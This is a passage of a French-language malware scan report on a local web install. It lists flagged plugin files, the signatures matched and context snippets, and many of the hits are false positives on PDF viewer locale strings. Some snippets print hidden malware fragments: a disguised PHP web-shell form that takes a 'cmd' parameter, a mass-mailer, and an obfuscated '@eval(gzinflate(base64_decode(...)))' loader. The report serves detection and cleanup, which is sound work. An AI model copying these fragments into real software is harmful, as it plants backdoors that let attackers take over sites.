<input style=\"width:300px;\" type=\"text\" name=\"childname\" value=\"".$shell_
</td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnN
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **47997** du fichier; voici le contexte :

```
ass=\"result\" id=\"result\">
".$result."
</div></div></div></div>
";
}
else {
$html_title = $shell_fake_name;
$html_head = "<title>".$html_title."</title>".$shell_style;
$html_body = "<div style=\
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **48062** du fichier; voici le contexte :

```
iv>
";
}
else {
$html_title = $shell_fake_name;
$html_head = "<title>".$html_title."</title>".$shell_style;
$html_body = "<div style=\"margin:30px;\">
<div>
<form action=\"?\" method=\"post\">
<in
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **48336** du fichier; voici le contexte :

```
e=\"submit\" name=\"btnpasswd\" value=\"Ok\" />
</form>
</div>
<div style=\"font-size:10px;\">".$shell_fake_name."</div>
</div>
";
}
if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload =
```

12. /Applications/MAMP/htdocs/pep83/plugins/editors/xml.php *(4.91K)*

(Date dernière modif. August 28 2021 09:04:47.)

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus 01e52a047315c3a5fd2105e7d2c097a5
Signature : **ERRO AO ENVIAR**
Trouvé en position **1488** du fichier; voici le contexte :

```
r=green>OK</font><br><hr>";
                else
                echo "* Numero: $count <b>".$email[$i]."</b> <font color=red>ERR
                $i++;
                $count++;
        }
        $count--;
        if($ok == "ok")
        echo "<script> alert('Te
```

13. /Applications/MAMP/htdocs/pep83/plugins/editors/data.php *(58.40K)*

(Date dernière modif. August 28 2021 09:04:47.)

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été 527464c5bf1bde60053635e58d6d4679 virusé ou étant un virus
Signature : **gzinflate(base64_decode**
Trouvé en position **59767** du fichier; voici le contexte :

```
hd4f8V0slURtDNTsJLRXEzLlyoIxXECBoUmxrk/QrCLkEVv8czeAhFFWCLKXi0g0y47PToRT3ZssnFQd
@eval(gzinflate(base64_decode($error)));
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **59777** du fichier; voici le contexte :

```
RtDNTsJLRXEzLlyoIxXECBoUmxrk/QrCLkEVv8czeAhFFWCLKXi0g0y47PToRT3ZssnFQd+Z7+n/Bw==
@eval(gzinflate(base64_decode($error)));
```

14. /Applications/MAMP/htdocs/pep83/plugins/content/loadformmaker/loadformmaker.php *(490.86K)*

(Date dernière modif. August 28 2021 09:05:03.)

Attention Il ne s'agit pas forcément d'un virus, le mot clef 59d23fb851b37c96d40ea76f695091f5 utilisé est néanmoins suspect.

Signature : **chell**
Trouvé en position **293004** du fichier; voici le contexte :

```
","Samoa","San Marino","Sao Tome and Principe","Saudi Arabia","Senegal","Serbia
```

15. /Applications/MAMP/htdocs/pep83/plugins/content/pdf_embed/assets/viewer/pdfjs/web/locale/ms/viewer.

(6.32K) (Date dernière modif. August 28 2021 09:05:14.)

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été 9094e22012bfb5571bad2550f6517953 virusé ou étant un virus
Signature : **Masalah**
Trouvé en position **5468** du fichier; voici le contexte :

```
# numerical scale value.
```

```
# Loading indicator messages
loading_error_indicator=Ralat
loading_error=Masalah berlaku semasa menuatkan sebuah PDF.
invalid_file_error=Tidak sah atau fail PDF rosak.
missing_file
```

16. /Applications/MAMP/htdocs/pep83/plugins/content/pdf_embed/assets/viewer/pdfjs/web/locale/ff/viewer.pr

(6.37K) (Date dernière modif. August 28 2021 09:05:14.)

Attention Il ne s'agit pas forcément d'un virus, le mot clef f1354d1fcdfd2f31e3b9197a727866b3 utilisé est néanmoins suspect.
Signature : **=Hell**
Trouvé en position **655** du fichier; voici le contexte :

```
tations under the License.

# Main toolbar buttons (tooltips and alt text for images)
previous.title=Hello Bennungo
previous_label=Bennudo
next.title=Hello faango
next_label=Yeeso

# LOCALIZATION NOTE (
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **=Hell**
Trouvé en position **707** du fichier; voici le contexte :

```
tooltips and alt text for images)
previous.title=Hello Bennungo
previous_label=Bennudo
next.title=Hello faango
next_label=Yeeso

# LOCALIZATION NOTE (page_label, page_of):
# These strings are concatenat
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **=Hell**
Trouvé en position **975** du fichier; voici le contexte :

```
eCount}}", it will be substituted with a number
# representing the total number of pages.
page_label=Hello:
page_of=e nder {{pageCount}}
```

```
zoom_out.title=Lonngo Wodɗa
zoom_out_label=Lonngo Wodɗa
zoom_in
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hell**
Trouvé en position **1567** du fichier; voici le contexte :

```
condary toolbar and context menu
tools.title=Kuutorɗe
tools_label=Kuutorɗe
first_page.title=Yah to_hello adanngo
first_page.label=Yah to_hello adanngo
first_page_label=Yah to_hello adanngo
last_page.titl
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hell**
Trouvé en position **1605** du fichier; voici le contexte :

```
.title=Kuutorɗe
tools_label=Kuutorɗe
first_page.title=Yah to_hello adanngo
first_page.label=Yah to_hello adanngo
first_page_label=Yah to_hello adanngo
last_page.title=Yah to_hello wattindiingo
last_page.
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hell**
Trouvé en position **1643** du fichier; voici le contexte :

```
first_page.title=Yah to_hello adanngo
first_page.label=Yah to_hello adanngo
first_page_label=Yah to_hello adanngo
last_page.title=Yah to_hello wattindiingo
last_page.label=Yah to_hello wattindiingo
last_p
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hell**
Trouvé en position **1680** du fichier; voici le contexte :

```
o
first_page.label=Yah to_hello adanngo
first_page_label=Yah to_hello adanngo
last_page.title=Yah to_hello wattindiingo
last_page.label=Yah to_hello wattindiingo
last_page_label=Yah to_hello wattindiingo
p
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hell**
Trouvé en position **1722** du fichier; voici le contexte :

```
rst_page_label=Yah to_hello adanngo
last_page.title=Yah to_hello wattindiingo
last_page.label=Yah to_hello wattindiingo
```

```
last_page_label=Yah to hello wattindiingo
page_rotate_cw.title=Yiiltu Faya Ñaamo
pag
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hell**
Trouvé en position **1764** du fichier; voici le contexte :

```
age.title=Yah to hello wattindiingo
last_page.label=Yah to hello wattindiingo
last_page_label=Yah to hello wattindiingo
page_rotate_cw.title=Yiiltu Faya Ñaamo
page_rotate_cw.label=Yiiltu Faya Ñaamo
page_
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **=Hell**
Trouvé en position **3685** du fichier; voici le contexte :

```
LIZATION NOTE (thumb_page_title): "{{page}}" will be replaced by the page
# number.
thumb_page_title=Hello {{page}}
# LOCALIZATION NOTE (thumb_page_canvas): "{{page}}" will be replaced by the page
# number
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Hell**
Trouvé en position **3817** du fichier; voici le contexte :

```
OTE (thumb_page_canvas): "{{page}}" will be replaced by the page
# number.
thumb_page_canvas=Dooɓre Hello {{page}}

# Find panel button title and messages
find_label=Yiytu:
find_previous.title=Yiylo cilol
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **hell**
Trouvé en position **5074** du fichier; voici le contexte :

```
aced with a line number
error_line=Gorol: {{line}}
rendering_error=Juumre wadii tuma nde yoŋkittoo hello.

# Predefined zoom values
page_scale_width=Njaajeendi Hello
page_scale_fit=Keyeendi Hello
page_s
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Hell**
Trouvé en position **5135** du fichier; voici le contexte :

```
error=Juumre wadii tuma nde yoŋkittoo hello.

# Predefined zoom values
```

```
page_scale_width=Njaajeendi_Hello
page_scale_fit=Keyeendi_Hello
page_scale_auto=Loongorde Jaajol
page_scale_actual=Betol Jaati
# L
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Hell**
Trouvé en position **5166** du fichier; voici le contexte :

```
ŋkittoo hello.

# Predefined zoom values
page_scale_width=Njaajeendi_Hello
page_scale_fit=Keyeendi_Hello
page_scale_auto=Loongorde Jaajol
page_scale_actual=Betol Jaati
# LOCALIZATION NOTE (page_scale_pe
```

17. /Applications/MAMP/htdocs/pep83/plugins/content/up/up.php *(14.70K)*

(Date dernière modif. August 28 2021 09:34:35.)

Attention Il ne s'agit pas forcément d'un virus, le mot clef 1644e54e4fc40c694c78c29907f966ec utilisé est néanmoins suspect.
Signature : **:hell**
Trouvé en position **13936** du fichier; voici le contexte :

```
utilisé pour indiquer une erreur à son emplacement dans la page
     * $txt accepte la forme : en:hello;fr:bonjour
     * exemple : argument de paramètre manquant
     */

    function info_debug($txt,
```